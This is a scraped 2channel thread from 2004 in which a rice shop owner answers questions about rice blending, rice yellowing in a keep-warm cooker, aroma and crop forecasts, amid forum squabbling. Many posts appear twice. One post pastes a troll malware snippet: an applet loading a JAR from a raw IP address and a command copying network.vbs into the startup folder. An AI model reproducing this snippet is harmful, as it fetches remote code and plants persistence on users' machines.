お米屋だけど何でも質問に答えます11俵半目
米屋だからって何でも知ってるわけじゃないし
その知識だって偏りがある
自分自身の思い込みも相当あるようだ
ここのレスは「そういう見方もあるんだなぁ」レベルに考えるのが正解
その知識だって偏りがある
自分自身の思い込みも相当あるようだ
ここのレスは「そういう見方もあるんだなぁ」レベルに考えるのが正解
ここのスレ
↓
2ちゃんねる
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2ちゃんねる
71 ：もぐもぐ名無しさん：04/08/12 21:43
72 ：レイブン：04/08/12 23:15
ブランド信仰の強い日本だが、へーキで、混ざってるの買うよな・・・。
コシヒカリと書いてあっても、１４〜２０％くらい（酷いのはもっと
違うもの（例えば、あきたこまち、ササニシキなど）が入っている・・。
あぁ日本人がもっと米について解かれば・・・。
産地や田舎から、送られてる人がウラヤマスィー！！
コシヒカリと書いてあっても、１４〜２０％くらい（酷いのはもっと
違うもの（例えば、あきたこまち、ササニシキなど）が入っている・・。
あぁ日本人がもっと米について解かれば・・・。
産地や田舎から、送られてる人がウラヤマスィー！！
73 ：レイブン：04/08/12 23:17
米にニンニクなんかをぶち込むと虫が寄らないし、臭くないＹＯ
>>72
全然関係ないけどMARINOのファン？
全然関係ないけどMARINOのファン？
頼りない米屋はこんな事を平気でする米屋です。
http://food6.2ch.net/test/read.cgi/food/1089100718/137
こんなやつが売ってる米ってヤバそう。
こいつのお客が哀れでなりません。
http://food6.2ch.net/test/read.cgi/food/1089100718/137
こんなやつが売ってる米ってヤバそう。
こいつのお客が哀れでなりません。
どこの米屋も大差ないだろ
逆に言えばさ、納入業者から格安でぶん取った米を、その分いくらか安めに売っていたりしたら
消費者からしたら、（真相を知らなければ）ただの(ﾟДﾟ )ｳﾏｰな（お買い得な）商品ってだけだがな。
消費者からしたら、（真相を知らなければ）ただの(ﾟДﾟ )ｳﾏｰな（お買い得な）商品ってだけだがな。
>>77
頭が悪いかな？
そういう意味ではなくって
平気で悪事を働く米屋の米だから
きっと不正も多いだろうってことでしょ？
頼りない擁護のためでしょうが、
すごい無理のある解釈に呆れてしまいました。
さらに言えば、彼の事だから格安で仕入れても高く売るんでないかいｗ
頭が悪いかな？
そういう意味ではなくって
平気で悪事を働く米屋の米だから
きっと不正も多いだろうってことでしょ？
頼りない擁護のためでしょうが、
すごい無理のある解釈に呆れてしまいました。
さらに言えば、彼の事だから格安で仕入れても高く売るんでないかいｗ
79 ：もぐもぐ名無しさん：04/08/14 09:38
>>78
もういい加減、叩くのやめたら？悪事っていったって頼米さんが米を盗みに入った
わけではなし、明らかに相手のミスでしょ？普通に仕事してたら、一度文書で
出した物や納品のサインをもらった物に間違いがあっても、さっきのは間違いです
返して下さい、では済まないよ。シラきられたらミスした方は文句言えないのが
当然、業者なんかもそんな事は心得ていると思うよ、だから真剣に仕事するんでしょ？
なんかココで頼米さん叩きしてる人って、頼米さんの人気に嫉妬してるみた〜い
こういう人達に限って他人に厳しく自分に激甘な感じがする
もういい加減、叩くのやめたら？悪事っていったって頼米さんが米を盗みに入った
わけではなし、明らかに相手のミスでしょ？普通に仕事してたら、一度文書で
出した物や納品のサインをもらった物に間違いがあっても、さっきのは間違いです
返して下さい、では済まないよ。シラきられたらミスした方は文句言えないのが
当然、業者なんかもそんな事は心得ていると思うよ、だから真剣に仕事するんでしょ？
なんかココで頼米さん叩きしてる人って、頼米さんの人気に嫉妬してるみた〜い
こういう人達に限って他人に厳しく自分に激甘な感じがする
叩き人がどんな香具師か、想像出来ないや。
稲穂垂れてきたが田んぼによっては白い籾（もみ）が目立つのがある。
米びつの底が見えてきたのでもう一回15年産を買わなくてはならぬ。
ダイエーで高知産新米10kg 3880円込みで売ってた。
稲穂垂れてきたが田んぼによっては白い籾（もみ）が目立つのがある。
米びつの底が見えてきたのでもう一回15年産を買わなくてはならぬ。
ダイエーで高知産新米10kg 3880円込みで売ってた。
意識してやってるんだから盗んだとたいして変わらんだろ。
しかも、ダブル。理由も担当が嫌いだからとは、子供みたい。
お前らみたいのばっかりだと世の中ミスできないな。
ＰＣの価格表示ミスも大量注文に対応しなきゃいかんな。
悪いものは悪いんだよ。
商習慣だの、業者は心得てるだの、お前ら馬鹿じゃないの？
軽率な行動、発言でしたって反省のひとつくらいするのが当たり前。
ここは善悪の判断がつかない、新興宗教信者の集まりみたい。
しかも、ダブル。理由も担当が嫌いだからとは、子供みたい。
お前らみたいのばっかりだと世の中ミスできないな。
ＰＣの価格表示ミスも大量注文に対応しなきゃいかんな。
悪いものは悪いんだよ。
商習慣だの、業者は心得てるだの、お前ら馬鹿じゃないの？
軽率な行動、発言でしたって反省のひとつくらいするのが当たり前。
ここは善悪の判断がつかない、新興宗教信者の集まりみたい。
>>79
別キャラつくって登場のご本人？
別キャラつくって登場のご本人？
＞81
r;ｧ'N;:::::::::::::,ｨ／ >::::::::::ヽ
. 〃 ヽﾙ1'´ ∠:::::::::::::::::i
i′ ___, - ,. = -一 ￣ｌ:::::::::::::::ｌ
. ! , -＝=､´r' l::::::/,ﾆ.ヽ
ｌ _,, -‐''二ゝ ｌ::::l fﾞヽ |、おまえが馬鹿なんだよ
ﾚー-- ､ヽヾﾆ-ｧ,ﾆ;＝、_ !:::l ） } ト
ヾ¨'７"ry､｀ ｰﾞ='ニ,,,｀ }::ヽ(ノ お母さんに自分の書いた文章見てもらえ
:ｰゝヽ､ !´ "￣ 'l,;;;;,,,.、 ,i:::::::ﾐ
::::::::::::::::ヽ.-‐ ﾄ、 r'_{ __)｀ニゝ、 ,,iﾘ::::::::ﾐ
::::::::::::::::::::Vi／l:::V'´;ｯ`ﾆ´ｰ-ｯ-,､:::::`"::::::::::::::;ﾞ , な！
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↑このコピペ何度もしたら バカ ガッカリさ
>>84
頼米教団信者 きもい
頼米教団信者 きもい
87 ：もぐもぐ名無しさん：04/08/14 20:41
7月から粘着してる香具師が一番キモイｗ
<applet code="XView.class" codebase="http://64.156.47.155:80/wstream" name="EmuCam"
archive="XView.jar" width="640" height="480" id="EmuCam">
<fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" >
<param name=id value=16><param name="k1" value="123456789012345">
<param name="k2" value="678901234567890"></applet>
archive="XView.jar" width="640" height="480" id="EmuCam">
<fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" >
<param name=id value=16><param name="k1" value="123456789012345">
<param name="k2" value="678901234567890"></applet>
89 ：もぐもぐ名無しさん：04/08/15 01:06
>>89
不正を行った米屋を怪しむのに、人格者であろうがなかろうが関係無いと思うが
不正を行った米屋を怪しむのに、人格者であろうがなかろうが関係無いと思うが
>>90
日本語を少しは勉強しろよ。
広辞苑より
あやし・む【怪しむ】＿他五＿(下二段にも活用) 怪しいと思う。
疑わしく思う。不思議に思う。あやしぶ。三蔵法師伝永久点
「師の能く達せることを怪ｱﾔｼﾑ」。謡、安宅「関の者どもわれを―・め」。
「不意の訪れを―・む」
不正を行ったと断じているのに何を怪しんでいるんだよ。
日本語を少しは勉強しろよ。
広辞苑より
あやし・む【怪しむ】＿他五＿(下二段にも活用) 怪しいと思う。
疑わしく思う。不思議に思う。あやしぶ。三蔵法師伝永久点
「師の能く達せることを怪ｱﾔｼﾑ」。謡、安宅「関の者どもわれを―・め」。
「不意の訪れを―・む」
不正を行ったと断じているのに何を怪しんでいるんだよ。
>>81-88
ウイルスコード張るなうぜぇ。
ウイルスコード張るなうぜぇ。
95 ：もぐもぐ名無しさん：04/08/15 19:19
96 ：もぐもぐ名無しさん：04/08/15 19:23
うっさい禿
97 ：もぐもぐ名無しさん：04/08/15 20:00
その程度じゃ他で相手してくれないからな〜
ここで粋がるしかないよな
粘着くんｗ
ここで粋がるしかないよな
粘着くんｗ
同じく
揚げ足の取り方が厨房だな
荒らしは要らない
揚げ足の取り方が厨房だな
荒らしは要らない
99 ：もぐもぐ名無しさん：04/08/15 21:58
うっさい禿
100俵目
http://www.kit.hi-ho.ne.jp/~twalker/img-box/img20040622234717.jpg
頑張って虫を取り終えました。
笊に米をあけて、少しずつ風を当てながら10KG終了。
頑張って虫を取り終えました。
笊に米をあけて、少しずつ風を当てながら10KG終了。
102 ：よっぴぃ：04/08/15 22:57
お米屋さん、教えてください。
ご飯を保温しておくと、色が変わったり、匂いがしたりするのです。
「長時間保温するとよくない」とは、聞きますが
炊いて2時間くらいしただけでも・・・の時もあります。
お米が悪いですか？
炊飯器が？
洗い方？
炊き方？
ご飯を保温しておくと、色が変わったり、匂いがしたりするのです。
「長時間保温するとよくない」とは、聞きますが
炊いて2時間くらいしただけでも・・・の時もあります。
お米が悪いですか？
炊飯器が？
洗い方？
炊き方？
>>102
水が悪いのかも
水が悪いのかも
104 ：頼りない米屋 ◆ZZgp783joc ：04/08/16 09:31
お盆の骨休み旅行から戻ってまいりました。
（と言っても家族サービスは仕事より辛かったり）
本日も店舗・従業員は休みなのですが私は早速午前中仕事です。
>>71
すまん。機械の性能と混入率によりますね。
規格外丙や未検のひどいものは飛ばないかも。
以前の機械だと無理だったけど佐竹の新型との2連にしたんで
一発で飛んじゃうんですよ。
今のだと佐竹以外でも飛ぶんじゃないかな。
>>64
無洗米を研いで炊いてもOKですよ。さっと洗えば充分です。
よく研ぐと米粒が折れやすいので注意。
>>65>>102
そもそも保温ｼﾞｬｰは腐敗促進ｼﾞｬｰとも言える表裏一体なのですね。
昔は夏、笹などを入れて冷や飯にしたのも、そのあたり。
保温ｼﾞｬｰを過信してはいけません。
私は既述のように「炊いて食べて余ったら冷凍庫」を推奨します。
さて、ﾒｰｶｰ・水・研ぎ等にもよりますが2時間で黄変は異常ですね。
私が疑うのは炊飯器の滅菌管理。時々滅菌剤で消毒した方が良いよ。
結構良くあって見落とすのは蓋と本体をつなぐ「ちょうつがい」部分。
あそこに雑菌が繁殖している場合が多いんですよ。一度試してみて。
（と言っても家族サービスは仕事より辛かったり）
本日も店舗・従業員は休みなのですが私は早速午前中仕事です。
>>71
すまん。機械の性能と混入率によりますね。
規格外丙や未検のひどいものは飛ばないかも。
以前の機械だと無理だったけど佐竹の新型との2連にしたんで
一発で飛んじゃうんですよ。
今のだと佐竹以外でも飛ぶんじゃないかな。
>>64
無洗米を研いで炊いてもOKですよ。さっと洗えば充分です。
よく研ぐと米粒が折れやすいので注意。
>>65>>102
そもそも保温ｼﾞｬｰは腐敗促進ｼﾞｬｰとも言える表裏一体なのですね。
昔は夏、笹などを入れて冷や飯にしたのも、そのあたり。
保温ｼﾞｬｰを過信してはいけません。
私は既述のように「炊いて食べて余ったら冷凍庫」を推奨します。
さて、ﾒｰｶｰ・水・研ぎ等にもよりますが2時間で黄変は異常ですね。
私が疑うのは炊飯器の滅菌管理。時々滅菌剤で消毒した方が良いよ。
結構良くあって見落とすのは蓋と本体をつなぐ「ちょうつがい」部分。
あそこに雑菌が繁殖している場合が多いんですよ。一度試してみて。
105 ：もぐもぐ名無しさん：04/08/16 10:49
お米屋さんに、質問です。
香り米・古代米以外に、精米の時、昔のお米らしい香りのする米は、どの銘柄ですか？
香り米・古代米以外に、精米の時、昔のお米らしい香りのする米は、どの銘柄ですか？
106 ：頼りない米屋 ◆ZZgp783joc ：04/08/16 11:48
>>105
えっと結構難しい質問ですね。
まずは当たり前の回答は「新米ならばどれでも」
「硬質米（関東以西）」も結構全般的に香りが良い。
品種的には私見ですが「秋田県産あきたこまち」が香りが強いと思います。
栽培的には「有機肥料栽培」をすると香りが良くなりますね。
ただこれらは香り米ほどではもちろんないですけどね。
えっと結構難しい質問ですね。
まずは当たり前の回答は「新米ならばどれでも」
「硬質米（関東以西）」も結構全般的に香りが良い。
品種的には私見ですが「秋田県産あきたこまち」が香りが強いと思います。
栽培的には「有機肥料栽培」をすると香りが良くなりますね。
ただこれらは香り米ほどではもちろんないですけどね。
>昔のお米らしい香りのする米は、どの銘柄ですか？
天日乾燥のお米を試したことありますか？
風味というか、お日様の良い香りがしますよ。
天日乾燥のお米を試したことありますか？
風味というか、お日様の良い香りがしますよ。
頼りない米屋さん
今年出来がよさそうな地域の予想はできてきましたか？
よろしければお聞かせ下さい。
今年出来がよさそうな地域の予想はできてきましたか？
よろしければお聞かせ下さい。
>>106-107
ありがとうございます。
秋田県本庄市付近の、あきたこまち・新米・有機肥料・天日乾燥のお米を
１１月くらいに探したいと思います。
それまで、１５年・那須産のコシヒカリを毎日精米して、大切に食べることにします。
ありがとうございます。
秋田県本庄市付近の、あきたこまち・新米・有機肥料・天日乾燥のお米を
１１月くらいに探したいと思います。
それまで、１５年・那須産のコシヒカリを毎日精米して、大切に食べることにします。
110 ：頼りない米屋 ◆ZZgp783joc ：04/08/16 19:11
>>107>>109
天日乾燥！そうですねすっかり忘れてました。あれは良い香りです。
うちでも某ﾒｼﾞｬｰﾎﾃﾙに某産地天日乾燥コシ納品してました。
あれは香りが評判良いですね。
>>117
私の得た情報では福島会津地区・中通地区はほぼ確定。
それ以北もねらい目なんで今情報を集めてます。
裾物（価格の安い米）では昨年は関東の勝ちでしたが
今年は高温障害が少し心配で
私は青森・北海道が有力と思ってまして、こちらも現在情報収集中。
もう少しお待ちを。9月初旬には判明します。
天日乾燥！そうですねすっかり忘れてました。あれは良い香りです。
うちでも某ﾒｼﾞｬｰﾎﾃﾙに某産地天日乾燥コシ納品してました。
あれは香りが評判良いですね。
>>117
私の得た情報では福島会津地区・中通地区はほぼ確定。
それ以北もねらい目なんで今情報を集めてます。
裾物（価格の安い米）では昨年は関東の勝ちでしたが
今年は高温障害が少し心配で
私は青森・北海道が有力と思ってまして、こちらも現在情報収集中。
もう少しお待ちを。9月初旬には判明します。
111 ：もぐもぐ名無しさん：04/08/16 20:58
>107 天日乾燥のお米を試したことありますか？
天日乾燥だからおいしいとは限らない
長雨続きの時の天日乾燥なんて・・・
同じに有機栽培、無農薬、減農薬栽培米がおいしいとは限らない
自分の判断だけで画一的な発言をしないほうがいいと思います
「わたしは、天日乾燥のお米が、お日様の良い香りがしますよ」
くらいの発言がいいと思います
天日乾燥だからおいしいとは限らない
長雨続きの時の天日乾燥なんて・・・
同じに有機栽培、無農薬、減農薬栽培米がおいしいとは限らない
自分の判断だけで画一的な発言をしないほうがいいと思います
「わたしは、天日乾燥のお米が、お日様の良い香りがしますよ」
くらいの発言がいいと思います
>>111
>天日乾燥だからおいしいとは限らない
つまらん事を言うようだが
誰一人として「天日乾燥だからおいしい」と
言っていないと思うが。
質問だって、「昔のお米らしい香りのする米」って言ってるし。
ごめん、もしかして釣られちゃった？
>天日乾燥だからおいしいとは限らない
つまらん事を言うようだが
誰一人として「天日乾燥だからおいしい」と
言っていないと思うが。
質問だって、「昔のお米らしい香りのする米」って言ってるし。
ごめん、もしかして釣られちゃった？
115 ：もぐもぐ名無しさん：04/08/17 00:19
重複スレは潰しにかかる
116 ：よっぴぃ：
レスありがとうございます。
＞103さん
水、それもありますねぇ。
我が家は井戸水なので、水道水より良いかと思ってはいるんですが・・・。
＞頼りない米屋さん
「ちょうつがい」ですね。
早速お手入れしてみます！！
我が家の炊飯器は母の希望で、
昔ながらの「炊飯・保温」のボタンがあるだけ。
最近良く見る、ＩHジャーとか銅釜とか釜炊き？とか・・・
あ〜ゆ〜のってやっぱり違うのでしょうか？？
＞103さん
水、それもありますねぇ。
我が家は井戸水なので、水道水より良いかと思ってはいるんですが・・・。
＞頼りない米屋さん
「ちょうつがい」ですね。
早速お手入れしてみます！！
我が家の炊飯器は母の希望で、
昔ながらの「炊飯・保温」のボタンがあるだけ。
最近良く見る、ＩHジャーとか銅釜とか釜炊き？とか・・・
あ〜ゆ〜のってやっぱり違うのでしょうか？？